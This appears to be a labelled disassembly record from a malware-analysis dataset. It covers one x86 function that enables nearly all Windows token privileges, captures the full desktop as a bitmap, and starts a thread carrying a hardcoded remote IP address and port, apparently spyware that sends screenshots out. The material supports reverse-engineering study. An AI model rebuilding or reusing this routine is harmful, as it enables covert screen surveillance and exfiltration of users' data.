Function at 0x4011c0
Capabilities:
Acquire debug privileges
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xd8
mov eax, dword [0x434008]
xor eax, esp
mov dword [esp + 0xd4], eax
push esi
push edi
call fcn.00401610
push 0x1e0d
push 0x430b7c
push 2
call fcn.004046c0
add esp, 0xc
mov dword [esp + 0x98], 0
lea eax, [esp + 0x98]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401396
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
xor esi, esi
mov dword [esp + 0x18], str.SeCreateTokenPrivilege
mov eax, str.SeCreateTokenPrivilege
mov dword [esp + 0x1c], str.SeAssignPrimaryTokenPrivilege
mov dword [esp + 0x20], str.SeLockMemoryPrivilege
mov dword [esp + 0x24], str.SeIncreaseQuotaPrivilege
mov dword [esp + 0x28], str.SeUnsolicitedInputPrivilege
mov dword [esp + 0x2c], str.SeMachineAccountPrivilege
mov dword [esp + 0x30], str.SeTcbPrivilege
mov dword [esp + 0x34], str.SeSecurityPrivilege
mov dword [esp + 0x38], str.SeTakeOwnershipPrivilege
mov dword [esp + 0x3c], str.SeLoadDriverPrivilege
mov dword [esp + 0x40], str.SeSystemProfilePrivilege
mov dword [esp + 0x44], str.SeSystemtimePrivilege
mov dword [esp + 0x48], str.SeProfileSingleProcessPrivilege
mov dword [esp + 0x4c], str.SeIncreaseBasePriorityPrivilege
mov dword [esp + 0x50], str.SeCreatePagefilePrivilege
mov dword [esp + 0x54], str.SeCreatePermanentPrivilege
mov dword [esp + 0x58], str.SeBackupPrivilege
mov dword [esp + 0x5c], str.SeRestorePrivilege
mov dword [esp + 0x60], str.SeShutdownPrivilege
mov dword [esp + 0x64], str.SeDebugPrivilege
mov dword [esp + 0x68], str.SeAuditPrivilege
mov dword [esp + 0x6c], str.SeSystemEnvironmentPrivilege
mov dword [esp + 0x70], str.SeChangeNotifyPrivilege
mov dword [esp + 0x74], str.SeRemoteShutdownPrivilege
mov dword [esp + 0x78], str.SeUndockPrivilege
mov dword [esp + 0x7c], str.SeSyncAgentPrivilege
mov dword [esp + 0x80], str.SeEnableDelegationPrivilege
mov dword [esp + 0x84], str.SeManageVolumePrivilege
mov dword [esp + 0x88], str.SeImpersonatePrivilege
mov dword [esp + 0x8c], str.SeCreateGlobalPrivilege
mov dword [esp + 0x90], 0
nop word [eax + eax]
lea ecx, [esp + 0xa4]
xorps xmm0, xmm0
push ecx
push eax
push 0
movaps xmmword [esp + 0xac], xmm0
call edi
push 0
push 0
push 0
lea eax, [esp + 0xac]
mov dword [esp + 0xac], 1
push eax
push 0
push dword [esp + 0xac]
mov dword [esp + 0xc4], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea esi, [esi + 1]
mov eax, dword [esp + esi*4 + 0x18]
test eax, eax
jne 0x401340
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
xorps xmm0, xmm0
push 0
mov dword [esp + 0x9c], 0
movups xmmword [esp + 0xb8], xmm0
movups xmmword [esp + 0xc8], xmm0
movq qword [esp + 0xd8], xmm0
call esi
mov edi, eax
push 1
mov dword [esp + 0x14], edi
call esi
mov dword [esp + 0xc], eax
xorps xmm0, xmm0
mov dword [esp + 0xb8], eax
mov esi, 1
imul eax, edi
movlpd qword [esp + 0xc4], xmm0
movlpd qword [esp + 0xcc], xmm0
movlpd qword [esp + 0xd4], xmm0
mov dword [esp + 0xb0], 0x28
add eax, eax
mov dword [esp + 0xb4], edi
mov dword [esp + 0xc4], eax
add eax, 0x36
mov dword [esp + 0xa2], eax
mov eax, 0x4d42
mov dword [esp + 0xbc], 0x100001
mov dword [esp + 0xc0], 0
mov dword [esp + 0xa6], 0
mov dword [esp + 0xaa], 0x36
mov word [esp + 0xa0], ax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esp + 0xa0], eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
test edi, edi
je 0x401590
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
test esi, esi
je 0x40157d
push 0
push 0
lea eax, [esp + 0xa0]
push eax
push 0
lea eax, [esp + 0xc0]
push eax
push edi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov dword [esp + 0x14], eax
test eax, eax
je 0x401576
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [esp + 0x1c]
push dword [esp + 0x24]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x40156c
push dword [esp + 0xa2]
call fcn.004095a7
add esp, 4
test eax, eax
je 0x40156c
movq xmm0, qword [esp + 0xa0]
mov ecx, dword [esp + 0xa8]
movq qword [eax], xmm0
mov dword [eax + 8], ecx
mov cx, word [esp + 0xac]
mov word [eax + 0xc], cx
movups xmm0, xmmword [esp + 0xb0]
movups xmmword [eax + 0xe], xmm0
movups xmm0, xmmword [esp + 0xc0]
movups xmmword [eax + 0x1e], xmm0
movq xmm0, qword [esp + 0xd0]
movq qword [eax + 0x2e], xmm0
add eax, 0x36
push dword [esp + 0xc4]
push dword [esp + 0x9c]
push eax
call fcn.00406cc0
push 0x430bd3
push 0x19895
push 2
call fcn.004047f0
add esp, 0x18
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push dword [esp + 0xa0]
call dword [sym.imp.USER32.dll_ReleaseDC]
mov esi, 1
push 0x3afb
push 0x430b7c
push 2
call fcn.004046c0
push 8
mov dword [esp + 0xac], 0
call fcn.004095a7
add esp, 0x10
lea ecx, [esp + 0x9c]
mov dword [eax + 4], 0x6fca
push ecx
push 0
push eax
push 0x4018b0
push 0
push 0
mov dword [eax], str.171.60.172.99
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4015e8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.pause
call fcn.00409581
mov ecx, dword [esp + 0xe0]
add esp, 4
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.00404945
mov esp, ebp
pop ebp
ret